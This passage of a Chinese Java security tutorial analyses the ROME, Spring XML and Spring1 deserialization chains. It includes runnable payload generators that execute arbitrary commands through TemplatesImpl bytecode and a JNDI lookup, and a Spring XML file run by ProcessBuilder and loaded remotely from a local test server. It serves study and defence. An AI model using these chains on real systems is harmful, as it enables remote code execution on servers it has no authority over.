1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public static StoreableCachingMap init (String folder) { return init(folder,DEF_STORING_TIMER); } public static StoreableCachingMap init (String folder, int storingTimer) { File file = new File (folder + File.separator + CACHENAMEIDX); if (file.exists()) { try { ObjectInputStream in = new ObjectInputStream ( new FileInputStream (file)); StoreableCachingMap sm = (StoreableCachingMap) in.readObject(); sm.initTrace(); in.close(); return sm; } catch (Exception e) { Trace trace = TraceFactory.getTraceFactory().getTrace(StoreableCachingMap.class); trace.error("Error reading Storable Cache" , e); } } return new StoreableCachingMap (folder,storingTimer); }
不过这个点还是比较鸡肋。
Rome ROME 是一个用来解析/生成 RSS 与 Atom 订阅源 的 Java 库(框架名就叫 ROME)。它提供统一的 API,把各种 RSS(0.90/0.91/0.92/0.93/0.94/1.0/2.0)与 Atom(0.3/1.0)格式读成 Java 对象,或从 Java 对象写回成订阅源;并有扩展模块(MediaRSS、GeoRSS、OPML 等)。
很多网站/博客会把“最新文章列表”以一种机器可读的 XML 格式对外发布,常见有 RSS 和 Atom 两种。订阅器(比如 Feedly)订阅这个地址,就能自动看到网站的新内容。这个 XML 就叫“订阅源/Feed”。
1 2 3 4 5 <dependency > <groupId > rome</groupId > <artifactId > rome</artifactId > <version > 1.0</version > </dependency >
反序列化链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:185) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:414) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:451) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:507) at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:497) at com.sun.syndication.feed.impl.ToStringBean.toString(ToStringBean.java:137) at com.sun.syndication.feed.impl.ToStringBean.toString(ToStringBean.java:116) at com.sun.syndication.feed.impl.ObjectBean.toString(ObjectBean.java:120) at com.sun.syndication.feed.impl.EqualsBean.beanHashCode(EqualsBean.java:193) at com.sun.syndication.feed.impl.ObjectBean.hashCode(ObjectBean.java:110) at java.util.HashMap.hash(HashMap.java:338) at java.util.HashMap.readObject(HashMap.java:1397)
原理分析 这里我们主要关心的是 com.sun.syndication.feed.impl.ObjectBean:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public class ObjectBean implements Serializable , Cloneable { private EqualsBean _equalsBean; private ToStringBean _toStringBean; private CloneableBean _cloneableBean; public ObjectBean (Class beanClass,Object obj) { this (beanClass,obj,null ); } public ObjectBean (Class beanClass,Object obj,Set ignoreProperties) { _equalsBean = new EqualsBean (beanClass,obj); _toStringBean = new ToStringBean (beanClass,obj); _cloneableBean = new CloneableBean (obj,ignoreProperties); }
toString → getter 在我们调用 ObjectBean 的 toString 方法时会触发其 _toStringBean 成员的 toString 方法,调用栈如下:
1 2 3 at com.sun.syndication.feed.impl.ToStringBean.toString(ToStringBean.java:137) at com.sun.syndication.feed.impl.ToStringBean.toString(ToStringBean.java:116) at com.sun.syndication.feed.impl.ObjectBean.toString(ObjectBean.java:120)
ToStringBean#toString 会遍历并调用 _beanClass 的所有满足下面条件的 getter 方法:
不是继承自 java.lang.Object 类的 getter 方法,这里主要是 getClass。
getter 方法必须无参。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 private static final Object[] NO_PARAMS = new Object [0 ];private String toString (String prefix) { StringBuffer sb = new StringBuffer (128 ); try { PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(_beanClass); if (pds != null ) { for (int i = 0 ; i < pds.length; i++) { String pName = pds[i].getName(); Method pReadMethod = pds[i].getReadMethod(); if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0 ) { Object value = pReadMethod.invoke(_obj, NO_PARAMS); printProperty(sb, prefix + "." + pName, value); } } } } catch (Exception ex) { sb.append("\n\nEXCEPTION: Could not complete " + _obj.getClass() + ".toString(): " + ex.getMessage() + "\n" ); } return sb.toString(); }
这里的 _beanClass 实际上就是来自于 ObjectBean 的 beanClass 参数,而 _obj 来自于 ObjectBean 的 obj 参数。
1 2 3 4 5 6 7 8 public ToStringBean (Class beanClass, Object obj) { _beanClass = beanClass; _obj = obj; }
hashCode → toString ObjectBean#hashCode 会调用 _equalsBean 的 beanHashCode 方法。
1 2 3 public int hashCode () { return _equalsBean.beanHashCode(); }
com.sun.syndication.feed.impl.EqualsBean#beanHashCode 方法会调用 _obj 的 toString 方法。
1 2 3 public int beanHashCode () { return _obj.toString().hashCode(); }
这里 EqualsBean#_obj 来自于 ObjectBean 的 obj 参数:
1 2 3 4 5 6 7 public EqualsBean (Class beanClass,Object obj) { if (!beanClass.isInstance(obj)) { throw new IllegalArgumentException (obj.getClass()+" is not instance of " +beanClass); } _beanClass = beanClass; _obj = obj; }
利用代码 根据前面的分析,现在我们可以利用 ObjectBean 实现从 hashCode 到任意对象的 getter 方法调用。具体做法为:
Hash 类型的容器中存放 ObjectBean 类型的 outerBean,确保反序列化的时候能触发 outerBean 的 hashCode 方法。
outerBean 中存放 ObjectBean 类型的 innerBean,外层的 outerBean 的 hashCode 方法能触发内层 innerBean 的 toString 方法。
内层的 innerBean 存放需要调用 getter 方法的对象。
字节码加载 由于能任意 getter 方法调用,我们不难想到利用 TemplatesImpl 的 getOutputProperties 方法实现任意字节码加载。
与 JDK7u21 类似,innerBean 在包装 TemplatesImpl 时 beanClass 参数需要传 javax.xml.transform.Templates 而不是具体的 TemplatesImpl.class。这是因为 Templates 作为接口只定义了 newTransformer 和 getOutputProperties 方法:
1 2 3 4 5 6 public interface Templates { Transformer newTransformer () throws TransformerConfigurationException; Properties getOutputProperties () ; }
因此调用的 getter 方法只能是 getOutputProperties,这个方法可以正常触发 TemplatesImpl 的任意字节码加载的利用链。
而 TemplatesImpl.class 返回的第一个方法大概率不能触发 TemplatesImpl 的任意字节码加载的利用链,而是调用到 getStylesheetDOM 方法:
1 2 3 4 5 private transient ThreadLocal _sdom = new ThreadLocal ();public DOM getStylesheetDOM () { return (DOM)_sdom.get(); }
而 _sdom 这个属性被 transient 修饰,无法被序列化。反序列化的时候会抛出 NullPoint 异常,报错导致 ToStringBean#toString 函数跳出 getter 遍历提前返回,因而无法完成利用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import com.sun.syndication.feed.impl.ObjectBean;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashSet;public class ROME { static Object getObject (String cmd) throws Exception { byte [] code = getEvilClass(cmd); TemplatesImpl templates = new TemplatesImpl (); ObjectBean innerBean = new ObjectBean (Templates.class, templates); ObjectBean outerBean = new ObjectBean (ObjectBean.class, innerBean); HashSet triggerSet = new HashSet (); triggerSet.add(outerBean); setFieldValue(templates, "_bytecodes" , new byte [][]{code}); setFieldValue(templates, "_name" , "HelloTemplatesImpl" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); return triggerSet; } public static byte [] getPayload(String cmd) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(cmd)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("calc" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } private static byte [] getEvilClass(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("EvilClass" ); ctClass.getClassFile().setMajorVersion(49 ); ctClass.makeClassInitializer() .setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }" ); CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superC); return ctClass.toBytecode(); } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
javax.management.BadAttributeValueExpException 在反序列化 readObject 时会对其中的 val 成员调用 toString 方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val" , null ); if (valObj == null ) { val = null ; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
我们可以使用 BadAttributeValueExpException 代替 HashSet + ObjectBean:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import com.sun.syndication.feed.impl.ObjectBean;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;public class ROME { static Object getObject (String cmd) throws Exception { byte [] code = getEvilClass(cmd); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][]{code}); setFieldValue(templates, "_name" , "HelloTemplatesImpl" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); ObjectBean bean = new ObjectBean (Templates.class, templates); BadAttributeValueExpException exception = new BadAttributeValueExpException (null ); setFieldValue(exception, "val" , bean); return exception; } public static byte [] getPayload(String cmd) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(cmd)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("calc" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } private static byte [] getEvilClass(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("EvilClass" ); ctClass.getClassFile().setMajorVersion(49 ); ctClass.makeClassInitializer() .setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }" ); CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superC); return ctClass.toBytecode(); } private static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } }
另外根据前面的分析,toString → getter 和 hashCode → toString 本质上相当于借助 ToStringBean 和 EqualsBean 来触发的,只不过外层都被包装成了 ObjectBean,因此我们可以写得更直接一些:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 static Object getObject (String cmd) throws Exception { byte [] code = getEvilClass(cmd); TemplatesImpl templates = new TemplatesImpl (); ToStringBean innerBean = new ToStringBean (Templates.class, templates); EqualsBean outerBean = new EqualsBean (ToStringBean.class, innerBean); HashSet triggerSet = new HashSet (); triggerSet.add(outerBean); setFieldValue(templates, "_bytecodes" , new byte [][]{code}); setFieldValue(templates, "_name" , "HelloTemplatesImpl" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); return triggerSet; }
JNDI com.sun.rowset.JdbcRowSetImpl#setAutoCommit 函数可以调用到 JNDI 的 javax.naming.InitialContext#lookup 函数,但 ROME 链是触发 getter 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 public void setAutoCommit (boolean autoCommit) throws SQLException { if (conn != null ) { } else { conn = connect(); } } private Connection connect () throws SQLException { if (conn != null ) { } else if (getDataSourceName() != null ) { try { Context ctx = new InitialContext (); DataSource ds = (DataSource) ctx.lookup(getDataSourceName()); } catch (javax.naming.NamingException ex) { throw new SQLException (resBundle.handleGetObject("jdbcrowsetimpl.connect" ).toString(), ex); } } } public String getDataSourceName () { return dataSource; }
但实际上在 JdbcRowSetImpl 类里搜索 this.connect(),还存在一个方法 getDatabaseMetaData:
1 2 3 4 public DatabaseMetaData getDatabaseMetaData () throws SQLException { Connection con = connect(); return con.getMetaData(); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import com.sun.rowset.JdbcRowSetImpl;import com.sun.syndication.feed.impl.ObjectBean;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.util.HashSet;public class ROME { static Object getObject (String url) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl (); ObjectBean innerBean = new ObjectBean (JdbcRowSetImpl.class, jdbcRowSet); ObjectBean outerBean = new ObjectBean (ObjectBean.class, innerBean); HashSet triggerSet = new HashSet (); triggerSet.add(outerBean); jdbcRowSet.setDataSourceName(url); return triggerSet; } public static byte [] getPayload(String url) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(getObject(url)); return byteArrayOutputStream.toByteArray(); } public static void main (String[] args) throws Exception { byte [] payload = getPayload("ldap://127.0.0.1:8099/aaa" ); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (payload); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } }
Spring XML 配置 RCE Spring XML Bean Spring 的 XML 本质是在描述“怎么把对象造出来(实例化) 、怎么给它注入参数(构造器/Setter/集合) 、以及在合适的生命周期点调用哪些方法 ”。
XML 装配过程 Spring XML 装配时会有如下过程:
实例化 :按 <bean class="..."> 或 factory-method 创建对象
注入 :按 <constructor-arg>、<property>、集合(<list>/<map> 等)把参数塞进去
初始化回调 :执行 init-method、InitializingBean#afterPropertiesSet()、各类 *PostProcessor(这一步就可能“执行方法”)
销毁回调 (容器关闭时):destroy-method、DisposableBean#destroy()
常用语法 这里主要介绍与命令执行相关的语法。
实例化类 对于明了的一个 <bean> 标签,Spring 在解析时会实例化一个对应的对象。
Spring 实例化 Bean 主要有三条路径:
<bean> 里的属性
构造方式
调用形式
constructor-arg 的作用
只有 class="..."(没有 factory-method / factory-bean)
构造函数
new Class(arg1, arg2, ...)
传给构造器 的参数
写了 class="..." 并且 factory-method="..."(没有 factory-bean)
静态工厂方法
Class.factoryMethod(arg1, arg2, ...)
传给静态工厂方法 的参数
写了 factory-bean="beanId" 并且 factory-method="..."
实例工厂方法
ctx.getBean("beanId").factoryMethod(arg1, arg2, ...)
传给实例工厂方法 的参数
例如下面这个 <bean> 会通过调用调用构造函数的形式实例化 example.Engine。
1 2 3 4 5 <bean id ="engine" class ="example.Engine" > <constructor-arg index ="0" value ="150" /> </bean >
在实例化对象的过程中还需要给对象初始化属性,除了构造函数的参数外,还有可以通过 Setter 注入(属性注入):
1 2 3 4 <bean id ="car" class ="example.Car" init-method ="init" > <property name ="engine" ref ="engine" /> <property name ="brand" value ="SpringCar" /> </bean >
注入的参数支持列表等常见容器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <bean id ="catalog" class ="example.Catalog" > <property name ="tags" > <list > <value > eco</value > <value > sport</value > </list > </property > <property name ="settings" > <map > <entry key ="endpoint" value ="https://api.example.com" /> <entry key ="timeoutMs" value ="2000" /> </map > </property > </bean >
调用方法
init-method / destroy-method(生命周期回调)
1 <bean id ="car" class ="example.Car" init-method ="init" destroy-method ="shutdown" />
容器刷新 时会调 car.init();容器关闭 时调 car.shutdown()。
factory-method / factory-bean(工厂方法)
MethodInvokingFactoryBean(把“方法的返回值”当成 bean)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <bean id ="now" class ="org.springframework.beans.factory.config.MethodInvokingFactoryBean" > <property name ="targetClass" value ="java.time.Instant" /> <property name ="targetMethod" value ="now" /> </bean > <bean id ="uuid" class ="org.springframework.beans.factory.config.MethodInvokingFactoryBean" > <property name ="targetClass" value ="java.util.UUID" /> <property name ="targetMethod" value ="randomUUID" /> </bean > <bean id ="uuidStr" class ="org.springframework.beans.factory.config.MethodInvokingFactoryBean" > <property name ="targetObject" ref ="uuid" /> <property name ="targetMethod" value ="toString" /> </bean >
SpEL 表达式
XML Bean 中的属性支持 SpEL 表达式,因此我们可以将 SpEL 表达式应用进来。
1 <property name ="greeting" value ="#{'Hello, ' + @userService.defaultName()}" />
出网利用 在 spring 中有下面两个函数用来读一份(或多份)Spring XML 配置 ,然后创建并管理里边定义的 bean (实例化、依赖注入、调用初始化/销毁回调等):
org.springframework.context.support.ClassPathXmlApplicationContext
org.springframework.context.support.FileSystemXmlApplicationContext
其中:
ClassPathXmlApplicationContext 默认从 classpath 读取 XML(打包在 jar 或 target/classes 里的资源)。适合“应用自带的内置配置”;
FileSystemXmlApplicationContext 默认从文件系统 读取 XML(磁盘路径,如 /etc/app/beans.xml)。适合“外置、可替换的配置”。
也就是说二者区别关键在“没写前缀时默认去哪找” ,除此之外二者没有什么区别。在 Java 安全中如果我们能调用任意类的单参数构造函数且参数可控我们就可以考虑利用这两个函数加载 Spring XML 配置实现 RCE 。
首先构造一个加载即可 RCE 的 Spring XML Bean 配置文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xmlns:p ="http://www.springframework.org/schema/p" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="foo" class ="java.lang.ProcessBuilder" init-method ="start" > <constructor-arg > <list > <value > cmd</value > <value > /c</value > <value > <![CDATA[calc.exe]]></value > </list > </constructor-arg > </bean > </beans >
这个配置文件加载后等价于执行下面这段代码:
1 2 ProcessBuilder foo = new ProcessBuilder (Arrays.asList("cmd" , "/c" , "calc.exe" ));foo.start();
这里用的是 <list>,所以 Spring 选的是 ProcessBuilder(List<String> command) 这个构造器。
如果 XML 写成 <constructor-arg value="calc"/>,那会走 ProcessBuilder(String... command)(可变参数)构造器,相当于 new ProcessBuilder("calc").start();。
用 CDATA 包住值可以确保把这段文本“按原样”交给 Spring/XML 解析器,不让它当作 XML 标记去处理,也免去手动转义 。
此时想办法执行下面任意一行代码的等效代码即可加载远程的 poc.xml 实现任意命令执行。
1 2 new org .springframework.context.support.ClassPathXmlApplicationContext("http://127.0.0.1:8000/poc.xml" );new org .springframework.context.support.FileSystemXmlApplicationContext("http://127.0.0.1:8000/poc.xml" );
不出网利用 ClassPathXmlApplicationContext 所有的构造函数最后都会进入下面这个构造函数中:
1 2 3 4 5 6 7 8 9 public ClassPathXmlApplicationContext (String[] configLocations, boolean refresh, ApplicationContext parent) throws BeansException { super (parent); setConfigLocations(configLocations); if (refresh) { refresh(); } }
其中 setConfigLocations 和 refresh 两个函数比较重要。前者用于将 URL 设置到当前对象中,后者用于刷新 Spring 配置。也就是说,最后执行任意命令,一定是在 refresh 函数中。
通配符匹配路径 从 refresh 开始会调用到 org.springframework.core.io.support.PathMatchingResourcePatternResolver#getResources 函数中,调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 at org.springframework.core.io.support.PathMatchingResourcePatternResolver.getResources(PathMatchingResourcePatternResolver.java:268) at org.springframework.context.support.AbstractApplicationContext.getResources(AbstractApplicationContext.java:1159) at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:216) at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:188) at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:252) at org.springframework.context.support.AbstractXmlApplicationContext.loadBeanDefinitions(AbstractXmlApplicationContext.java:127) at org.springframework.context.support.AbstractXmlApplicationContext.loadBeanDefinitions(AbstractXmlApplicationContext.java:93) at org.springframework.context.support.AbstractRefreshableApplicationContext.refreshBeanFactory(AbstractRefreshableApplicationContext.java:129) at org.springframework.context.support.AbstractApplicationContext.obtainFreshBeanFactory(AbstractApplicationContext.java:537) at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:452) at org.springframework.context.support.ClassPathXmlApplicationContext.<init>(ClassPathXmlApplicationContext.java:139) at org.springframework.context.support.ClassPathXmlApplicationContext.<init>(ClassPathXmlApplicationContext.java:83)
在 getResources 函数,locationPattern 是用户传入的 url,在处理路径前会经过 isPattern() 的判断,如果返回是 true,则会进入 this.findPathMatchingResources(locationPattern) 的处理,否则就直接读取资源。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 String CLASSPATH_ALL_URL_PREFIX = "classpath*:" ;public Resource[] getResources(String locationPattern) throws IOException { Assert.notNull(locationPattern, "Location pattern must not be null" ); if (locationPattern.startsWith(CLASSPATH_ALL_URL_PREFIX)) { if (getPathMatcher().isPattern( locationPattern.substring(CLASSPATH_ALL_URL_PREFIX.length()))) { return findPathMatchingResources(locationPattern); } else { return findAllClassPathResources( locationPattern.substring(CLASSPATH_ALL_URL_PREFIX.length())); } } else { int prefixEnd = locationPattern.indexOf(":" ) + 1 ; if (getPathMatcher().isPattern(locationPattern.substring(prefixEnd))) { return findPathMatchingResources(locationPattern); } else { return new Resource [] { getResourceLoader().getResource(locationPattern) }; } } }
这里 isPattern 实际上调用的是 org.springframework.util.AntPathMatcher#isPattern 方法,也就是说,url 中是支持使用通配符的。
1 2 3 public boolean isPattern (String path) { return (path.indexOf('*' ) != -1 || path.indexOf('?' ) != -1 ); }
Tomcat 在处理 Servlet 3.x 的 multipart/form-data 时,几乎把“每一个 Part(不管是文件字段还是普通表单字段)”都先落到临时文件 ,命名类似:upload_<GUID>_<number>.tmp。
**<GUID>**:Tomcat 进程启动时生成、在该进程内唯一且固定的一段标识(便于区分不同进程的临时文件)。
<number>:一个 单调递增 的序号,每处理一个 Part 就 +1。
Tomcat 安装目录定位 对于不同方式启动的 Tomcat,临时文件的位置不尽相同。阅读 Tomcat 代码我们可以发现,这个临时文件所在的位置应该位于 Tomcat 安装目录下的 work 目录下。
但对于单文件 Springboot 来说,此时 Tomcat 是嵌入式的并不存在安装目录,所以此时临时文件将会存储在系统临时目录下的一个子目录中的 work 目录下。
从 ClassPathXmlApplicationContext 调用的 setConfigLocations 函数可以一直调用到 org.springframework.util.PropertyPlaceholderHelper#parseStringValue 函数。
1 2 3 4 5 6 7 8 9 at org.springframework.util.PropertyPlaceholderHelper.parseStringValue(PropertyPlaceholderHelper.java:132) at org.springframework.util.PropertyPlaceholderHelper.replacePlaceholders(PropertyPlaceholderHelper.java:126) at org.springframework.core.env.AbstractPropertyResolver.doResolvePlaceholders(AbstractPropertyResolver.java:204) at org.springframework.core.env.AbstractPropertyResolver.resolveRequiredPlaceholders(AbstractPropertyResolver.java:178) at org.springframework.core.env.AbstractEnvironment.resolveRequiredPlaceholders(AbstractEnvironment.java:551) at org.springframework.context.support.AbstractRefreshableConfigApplicationContext.resolvePath(AbstractRefreshableConfigApplicationContext.java:122) at org.springframework.context.support.AbstractRefreshableConfigApplicationContext.setConfigLocations(AbstractRefreshableConfigApplicationContext.java:80) at org.springframework.context.support.ClassPathXmlApplicationContext.<init>(ClassPathXmlApplicationContext.java:137) at org.springframework.context.support.ClassPathXmlApplicationContext.<init>(ClassPathXmlApplicationContext.java:83)
这个函数会对传入 ClassPathXmlApplicationContext 的 URL 渲染一次环境变量。
1 2 3 4 5 6 7 8 9 10 11 public String replacePlaceholders (String value, PlaceholderResolver placeholderResolver) { Assert.notNull(value, "'value' must not be null" ); return parseStringValue(value, placeholderResolver, new HashSet <String>()); }
${catalina.home} 这个环境变量就指向 Tomcat 的安装目录,直接使用这个变量就可以避免环境差异导致的问题。
反序列化链 Spring1 1 2 3 4 5 6 7 8 9 10 11 12 <dependencies > <dependency > <groupId > org.springframework</groupId > <artifactId > spring-beans</artifactId > <version > 4.1.4.RELEASE</version > </dependency > <dependency > <groupId > org.springframework</groupId > <artifactId > spring-core</artifactId > <version > 4.1.4.RELEASE</version > </dependency > </dependencies >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 at java.lang.ClassLoader.defineClass(ClassLoader.java:642) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:142) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:346) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:383) at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:418) at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:483) at org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler.invoke(AutowireUtils.java:307) at com.sun.proxy.$Proxy1.newTransformer(Unknown Source:-1) at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:483) at org.springframework.util.ReflectionUtils.invokeMethod(ReflectionUtils.java:202) at org.springframework.util.ReflectionUtils.invokeMethod(ReflectionUtils.java:187) at org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(SerializableTypeWrapper.java:404)
原理分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 static class MethodInvokeTypeProvider implements TypeProvider { private final TypeProvider provider; private final String methodName; private final int index; private transient Object result; public MethodInvokeTypeProvider (TypeProvider provider, Method method, int index) { this .provider = provider; this .methodName = method.getName(); this .index = index; this .result = ReflectionUtils.invokeMethod(method, provider.getType()); } private void readObject (ObjectInputStream inputStream) throws IOException, ClassNotFoundException { inputStream.defaultReadObject(); Method method = ReflectionUtils.findMethod(this .provider.getType().getClass(), this .methodName); this .result = ReflectionUtils.invokeMethod(method, this .provider.getType()); } }
org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider 的 readObject 会调用 this.provider.getType() 返回对象的 this.methodName 指定的无参方法。
而 provider 作为 org.springframework.core.SerializableTypeWrapper$TypeProvider 接口的实现类,getType 方法返回的对象类型是 java.lang.reflect.Type 接口的实现类。
1 2 3 4 5 6 7 8 9 10 11 12 static interface TypeProvider extends Serializable { Type getType () ; Object getSource () ; }
我们的目标是:
让 this.MethodName 为 newTransformer 或 getOutputProperties(这两个都是 public 方法,findMethod 和 invokeMethod 都没有设置 Method 的可访问性);
让this.provider.getType() 返回 TemplatesImpl。
这个可以通过动态代理 实现。
sun.reflect.annotation.AnnotationInvocationHandler 的 invoke 方法会根据方法名从 memberValues 中查询对应的对象返回。
